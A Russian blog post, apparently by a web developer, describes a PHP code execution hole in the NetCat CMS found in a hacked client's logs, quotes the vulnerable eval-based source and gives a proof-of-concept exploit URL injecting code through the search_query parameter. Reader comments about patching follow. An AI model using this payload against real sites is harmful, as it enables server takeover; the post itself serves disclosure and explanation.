Буквально сегодня один из моих клиентов написал мне что его сайт взломали. Чесно говоря меня это сильно удивило. Настолько сильно что я попросил клиента скинуть логи с его сервера за период когда его сайт ломали.
В логах нашел интересную запись подтверждающую то что в Неткате все таки была критическая уязвимость.
И присутствует она как минимум в версии Extra 4.5.2. Надо проверить залатана ли эта дырка в последней версии, но чесно говоря немного лень.
В гугле оказывается про эту дырку уже давным давно известно:
NetCat «search_query» PHP Code Execution
Как оно работает
Сегодня поизучал исходный код и нашел откуда растут ноги:
$default_templates = $this->evaluate(nc_search::get_setting('SearchFormTemplate'), 'searchform', $params);
И функция evaluate:
protected function evaluate($_code, $_return_var, array $_vars = array()) {
extract($_vars);
eval($_code);
return $$_return_var;
}
И пришел к неутешительному выводу, что уязвимость все таки присутствует, и она крайне опасна!
Пример эксплуатации
Эксплоит:
http://vlunsite/search/?search_query={${phpinfo()}}
Информация приведена для ознакомления, за использование ее в противоправных целях, автор ответственности не несет.
Ксатати в NetCat 5.0 есть еще и SQL Injection.
Спасибо за внимание
Сегодня нашел у себя на сайте два посторонних скрипта. Как с вами связатся? Хотелось бы проконсультироваться по этому поводу.
Написал вам на вашу почту.
Добрый день. Подскажите пожалуйста, где найти в коде это место чтобы поправить ?
Честно говоря, уже не помню. Попробуйте поискать в коде грепом по именам функций. В статье, собсно, уязвимый код приведен. Поищите по нему.